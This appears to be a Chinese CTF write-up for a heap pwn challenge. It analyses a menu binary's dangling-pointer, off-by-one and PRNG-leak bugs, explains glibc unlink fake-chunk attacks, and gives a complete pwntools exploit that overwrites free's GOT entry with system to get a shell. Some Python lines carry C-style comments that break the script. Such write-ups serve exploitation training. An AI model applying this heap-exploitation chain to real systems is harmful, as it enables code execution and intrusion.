2017看雪秋季CTF--第四题分析笔记

题目介绍:


start.png

打开,题目有6个功能,进ida详细查看


idamain.png

分析功能:
1号:get a box
1.png

可以看出,这个功能号就是用来申请一个堆空间,不过这里有限制,
先去if看下这些全局变量有什么限制


90.png
>.png
<.png

由以上代码可以看出,申请的当前空间要比排它前面的大0x10比排在它后面的小0x10,跟进B95的局部变量,数组有7个元素,第0跟第6个元素已经被设定了初始值,第1到第5为0。这5个元素就是用来记录申请到的box的大小。又由于数组第0与第6个元素被初始化为了8和0x1000所以我们可以申请的堆大小范围在0x18 ~ 0xFF0之间

2号功能:destory a box


des.png

看if判断,看数组


b0.png

结合程序逻辑可以看出,只有small与normal类型的box可以被free。并且由于free后没有重置202130的值,结合一号功能,所以每种类型的box只能使用一次,这里还有一个很明显的漏洞存在,free后的buffer指针没有被清空,所以可能导致double free的利用

3号功能:leave me a message in box


3.png

这里也有一个问题,写入次数比buffer多了一字节,所以可以用off-by-one

4号功能:show message in box


4.png

单纯的显示buffer内容,可以用来泄露地址。

5号功能:guess a random number


5.png

是一个彩随机数的小游戏,猜中了返回随机种子,猜错了会告诉你正确的随机数,这里的随机种子就是seed的全局变量的地址,由于程序开启了PIE所以这里是获取程序基址的地方。

6号输出:


6.png

关于堆的分配,堆管理中的chunk指针是指向chunk头部,大小也是包括头部的,而用户申请的大小只是数据空间的大小,返回的指针也是指向数据空间。
堆的double free利用主要是根据堆分配的原理及规律、堆悬空指针的存在及unlink机制实现的。

堆的分配一般是从低地址到高地址连续分配,这就会发生新申请的chunk直接释放,再申请的新chunk其堆指针是一样的。而其回收释放是通过bins完成的,释放的chunk根据其大小不同将其加入bins的单身或双向链表。

堆的释放过程:检查相邻前后chunk是否释放,如果释放,就会进行向前或向后合并,当前chunk指针变为指向前一个(后一个chunk)的指针,并将free状态的相邻chunk从bins中unlink,再合并后的chunk添加到双向链表(非fast chunk)中。

unlink的主要宏代码如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

当前的libc堆管理为了防止double free,释放chunk前,检查FD->bk=BK->fd=P, P为当前需要free的chunk指针,BK的前一个chunk的指针,FD为后一个chunk的指针。如果有一个堆指针可控,并在一个chunk的数据段内,再如果有个可控的地址是指向P的,记为* X=P。那么我们就在此chunk上构造两个chunk,第一个chunk在pre_size的标志位P设为1,大小到P结束,第二个chunk的pre_size的标志位P设为0,针对64位系统,第一个chunk的fd设为(X-0x18),bk设为(X-0x10),即P->fd=(X-0x18),P->fd=(X-0x10),又因为*X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通过unlink的检查,按照unlink的宏代码,unlink过程中X的内容前后被写为(X-0x10)、(X-0x18),最终X的内容被我们改写。

程序看完之后开始构造payload:

获取加载基址
首先先通过猜伪随机数来获取程序的加载基址,
预测伪随机数,需要一个公式
r[i] = (r[i-3] + r[i-31]) & 0x7fffffff

关于double free:
由于只有small和normal的box可以free,所以先创建normal与big,然后释放掉normal,之后再创建little与small,并通过normal的指针来构造fake chunk,

首先申请400与450大小的normal box和big box,释放normal box,再申请150与200大小的little box和small box,这样normal box与little box的指针是同一个地址,又由于本程序中写入数据只看指针与box大小,所以此时的normal box的指针可以同时操作little box和small box的内存,这样就可以来构造fake chunk。

mem.png

布置fake chunk的内存数据,用上面的地址来描述,fake chunk的prev size和size放在0x0000558DC84DA420和0x0000558DC84DA428,0x0000558DC84DA430处开始写入fd与bk,由于unlink新增加的检测,所以这里需要分别写入一个指向fake chunk头部的指针的地址减0x18和0x10,这样就能满足FD->bk == p && BK->fd == p,p表示当前chunk,FD表示当前chunk的fd指向的chunk, BK表示当前chunk的bk指向的chunk,所以这里选择全局变量boxBuff - 0x18和boxBuff - 0x10的地址来写入。
然后还要修改0x0000558DC84DA4B0处的prev size和0x0000558DC84DA4B8处表示前chunk是否空闲的最低位为0这样当释放此处的堆时会因为向前合并而调用unlink,所以这里根据实际情况,写入0x90和0xD0,构造fake chunk后内存布局如下(A为填充数据):


mem2.png

对small box进行free操作,触发unlink,使得0x0000558DC6C4C108处的指针指向0x0000558DC6C4C0F0,因此可以通过对0x0000558DC6C4C108进行写入来覆盖自身的指针到任意位置,造成任意地址读写,这里选择覆盖为free的plt表地址,这样就可以通过读取free的plt表的值来计算system的地址,然后再用计算出来的system的地址覆盖plt表中free的地址,这样再次free时实际调用的就是system,free的指针就是/bin/sh串的起始地址,就能get shell

找到地址:


202130.png
seed.png
free.png

完整的脚本:

from pwn import *

context.arch = 'amd64'
p = process('./club')
libc = ELF('./libc-2.24.so')
#p = remote('123.206.22.95', 8888)
#libc = ELF('./libc.so.6')
#context.log_level = 'debug'

def writeMsg(index, msg):
    p.sendline('3')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.sendline(msg)
    p.recvuntil('> ')

def createBox(index, size):
    p.sendline('1')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')
    p.sendline(str(size))
    p.recvuntil('> ')

def freeBox(index):
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline(str(index))
    p.recvuntil('> ')

def guess(i):
    p.sendline('5')
    p.recvuntil('> ')
    p.sendline(str(i))
    res = p.recvline()
    p.recvuntil('> ')
    num = res.split()[-1][:-1]
    return int(num)

if __name__ == '__main__':
    print '[+]guess random number'
    p.recvuntil('> ')
    baseAddr = 0
    lstRand = []
    for i in range(31):
        lstRand.append(guess(i))
        //猜数部分
    for i in range(31, 33):
        rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
        p.sendline('5')
        p.recvuntil('> ')
        p.sendline(str(rnd))
        tmp = p.recvline()
        if 'G00dj0b' in tmp:
            baseAddr = int(tmp.split()[-1][:-1]) - 0x202148 //计算基地址
            p.recvuntil('> ')
            break
        p.recvuntil('> ')

    print '[+]baseAddr:' + hex(baseAddr)
    print '[+]begin make fake chunk'
    createBox(3, 400)
    createBox(4, 450)
    freeBox(3)
    createBox(1, 150)
    createBox(2, 200)
    boxbuff = baseAddr + 0x202100   //payload写入位置
    print '[+]boxbuff:' + hex(boxbuff)
    payload = p64(0) + p64(0x90) + p64(boxbuff-0x10) + p64(boxbuff-0x8) + 'A'*0x70 + p64(0x90) + p64(0xD0) + '/bin/sh\x00' + '\0' * 0x20
    writeMsg(3, payload)      //构造payload并写入


    //unlink
    print '[+]begin unlink'
    freeBox(2)
    print '[+]modify free to system'
    freeAddr = baseAddr + 0x202018    //.got.plt:free位置
    print '[+]freed@plt:' + hex(freeAddr)
    freeOff = libc.symbols['free']    //查找free和system
    systemOff = libc.symbols['system']
    payload2 = p64(0) + p64(0) + p64(0) + p64(freeAddr)
    writeMsg(1, payload2)    //写入free地址
    p.sendline('4')
    p.recvuntil('> ')
    p.sendline('1')
    tmp = p.recvline(keepends=False)    //接收little盒子msg,即free地址
    p.recvuntil('> ')
    print '[+]free addr:' + hex(u64(tmp.ljust(8, "\0")))    //用0填充至8位
    systemAddr = u64(tmp.ljust(8, "\0")) - freeOff + systemOff
    print '[+]system addr:' + hex(systemAddr)
    writeMsg(1, p64(systemAddr))
    
    print '[+]get shell' //再次free提权
    p.sendline('2')
    p.recvuntil('> ')
    p.sendline('2')
    p.interactive()

最后找到了作者的博客,有关于作者的出题思路

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 151,829评论 1 331
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 64,603评论 1 273
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 101,846评论 0 226
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,600评论 0 191
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,780评论 3 272
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,695评论 1 192
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,136评论 2 293
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,862评论 0 182
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,453评论 0 229
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,942评论 2 233
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,347评论 1 242
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,790评论 2 236
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,293评论 3 221
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,839评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,448评论 0 181
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,564评论 2 249
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,623评论 2 249

推荐阅读更多精彩内容